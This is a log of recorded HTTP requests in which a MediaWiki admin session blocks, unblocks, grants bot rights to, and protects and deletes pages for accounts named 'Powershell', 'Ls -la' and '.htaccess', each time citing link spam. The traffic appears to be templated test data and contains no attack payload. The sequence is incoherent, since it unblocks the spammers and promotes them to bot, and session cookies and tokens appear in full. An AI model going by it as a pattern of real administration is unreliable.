{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Powershell&aulimit=10", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794260939%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Block", "headers": ["Host: example.com", "Content-Length: 355", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794260939%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3ABlock&wpTarget=Powershell&wpEditingRestriction=sitewide&wpPageRestrictions=&wpNamespaceRestrictions=&wpCreateAccount=1&wpExpiry=other&wpExpiry-other=1+week&wpReason=other&wpReason-other=Spamming+links+to+powershell+guides&wpAutoBlock=1&wpEditToken=3b00de112eaad4ff6f12629cc0c9c8c06af23fcb%2B%5C&redirectparams=&wpPreviousTarget=&wpConfirm="}
{"method": "GET", "target": "/wiki/Special:BlockList?wpTarget=Powershell&blockType=&limit=50&wpFormIdentifier=blocklist", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:BlockList", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794260940%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Unblock", "headers": ["Host: example.com", "Content-Length: 147", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794260940%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUnblock&wpTarget=Powershell&wpReason=Spamming+links+to+powershell+guides&wpEditToken=4b25c2be7aa7180be8fc025161311c226af23fce%2B%5C"}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Powershell&aulimit=10&auexcludetemp=1", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794260942%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special%3AUserRights&user=Powershell", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794260942%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:UserRights", "headers": ["Host: example.com", "Content-Length: 306", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Powershell", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794260942%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUserRights&wpGroup-bot=1&wpExpiry-bot=infinite&user-reason=Spamming+links+to+powershell+guides&wpEditToken=35cb5dd45d8899e2a96ed95c00c178ef6af23fd0%2B%5C&user=Powershell&wpEditToken=b9e7f00795439581c5845863b4170ec36af23fd0%2B%5C&conflictcheck-originalgroups=&saveusergroups=Save+user+groups"}
{"method": "GET", "target": "/wiki/Special:UserRights/Powershell", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Powershell", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=13%401794260945%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Powershell_notes&action=protect", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=13%401794260945%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Powershell_notes&action=protect", "headers": ["Host: example.com", "Content-Length: 360", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=13%401794260945%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Powershell+notes&mwProtect-level-edit=sysop&wpProtectExpirySelection-edit=infinite&mwProtect-expiry-edit=&mwProtect-level-move=sysop&wpProtectExpirySelection-move=infinite&mwProtect-expiry-move=&wpProtectReasonSelection=other&mwProtect-reason=Spamming+links+to+powershell+guides&mwProtectWatch=1&wpEditToken=384a82472f675c8d51d5f7ea14bc5a226af23fd1%2B%5C"}
{"method": "GET", "target": "/wiki/Powershell_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=14%401794260946%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Powershell_notes&action=delete", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=14%401794260946%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Powershell_notes&action=delete", "headers": ["Host: example.com", "Content-Length: 196", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=14%401794260946%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Powershell+notes&wpDeleteReasonList=other&wpReason=Spamming+links+to+powershell+guides&wpWatch=1&wpConfirmB=&wpEditToken=08e40f2e3128222c610cfe2dea904b416af23fd3%2B%5C&wpConfirmationRevId=14"}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Ls%20-la&aulimit=10", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=15%401794260947%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Block", "headers": ["Host: example.com", "Content-Length: 347", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=15%401794260947%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3ABlock&wpTarget=Ls+-la&wpEditingRestriction=sitewide&wpPageRestrictions=&wpNamespaceRestrictions=&wpCreateAccount=1&wpExpiry=other&wpExpiry-other=1+week&wpReason=other&wpReason-other=Spamming+links+to+ls+-la+guides&wpAutoBlock=1&wpEditToken=5af8bdc9fcc0bb254d92eb67659a644d6af23fd4%2B%5C&redirectparams=&wpPreviousTarget=&wpConfirm="}
{"method": "GET", "target": "/wiki/Special:BlockList?wpTarget=Ls+-la&blockType=&limit=50&wpFormIdentifier=blocklist", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:BlockList", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=16%401794260949%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Unblock", "headers": ["Host: example.com", "Content-Length: 139", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=16%401794260949%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUnblock&wpTarget=Ls+-la&wpReason=Spamming+links+to+ls+-la+guides&wpEditToken=9bd8191e47e9f9072a9d2c14f992993a6af23fd6%2B%5C"}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Ls%20-la&aulimit=10&auexcludetemp=1", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=17%401794260951%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special%3AUserRights&user=Ls+-la", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=17%401794260951%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:UserRights", "headers": ["Host: example.com", "Content-Length: 298", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Ls+-la", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=17%401794260951%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUserRights&wpGroup-bot=1&wpExpiry-bot=infinite&user-reason=Spamming+links+to+ls+-la+guides&wpEditToken=8e14ef32ae3356daf996af8d9a62cadf6af23fd9%2B%5C&user=Ls+-la&wpEditToken=f252b980c3a50ae3c7d7bc282616ddaf6af23fd9%2B%5C&conflictcheck-originalgroups=&saveusergroups=Save+user+groups"}
{"method": "GET", "target": "/wiki/Special:UserRights/Ls_-la", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Ls+-la", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=18%401794260953%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Ls_-la_notes&action=protect", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=18%401794260953%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Ls_-la_notes&action=protect", "headers": ["Host: example.com", "Content-Length: 352", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=18%401794260953%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Ls+-la+notes&mwProtect-level-edit=sysop&wpProtectExpirySelection-edit=infinite&mwProtect-expiry-edit=&mwProtect-level-move=sysop&wpProtectExpirySelection-move=infinite&mwProtect-expiry-move=&wpProtectReasonSelection=other&mwProtect-reason=Spamming+links+to+ls+-la+guides&mwProtectWatch=1&wpEditToken=5df1e8ea7b750fa5c009e1bece0a87876af23fda%2B%5C"}
{"method": "GET", "target": "/wiki/Ls_-la_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=19%401794260955%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Ls_-la_notes&action=delete", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=19%401794260955%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Ls_-la_notes&action=delete", "headers": ["Host: example.com", "Content-Length: 188", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=19%401794260955%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Ls+-la+notes&wpDeleteReasonList=other&wpReason=Spamming+links+to+ls+-la+guides&wpWatch=1&wpConfirmB=&wpEditToken=f42b222ab6666c65ec421df94c07919b6af23fdb%2B%5C&wpConfirmationRevId=15"}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=.htaccess&aulimit=10", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=20%401794260956%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Block", "headers": ["Host: example.com", "Content-Length: 353", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=20%401794260956%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3ABlock&wpTarget=.htaccess&wpEditingRestriction=sitewide&wpPageRestrictions=&wpNamespaceRestrictions=&wpCreateAccount=1&wpExpiry=other&wpExpiry-other=1+week&wpReason=other&wpReason-other=Spamming+links+to+.htaccess+guides&wpAutoBlock=1&wpEditToken=2e833a727b3772a4ce387c46ded9ee8e6af23fdd%2B%5C&redirectparams=&wpPreviousTarget=&wpConfirm="}
{"method": "GET", "target": "/wiki/Special:BlockList?wpTarget=.htaccess&blockType=&limit=50&wpFormIdentifier=blocklist", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:BlockList", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=21%401794260957%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Unblock", "headers": ["Host: example.com", "Content-Length: 145", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=21%401794260957%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUnblock&wpTarget=.htaccess&wpReason=Spamming+links+to+.htaccess+guides&wpEditToken=dec595333bbf3e8ddcdfef8055d2406f6af23fdf%2B%5C"}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=.htaccess&aulimit=10&auexcludetemp=1", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=22%401794260960%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special%3AUserRights&user=.htaccess", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=22%401794260960%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
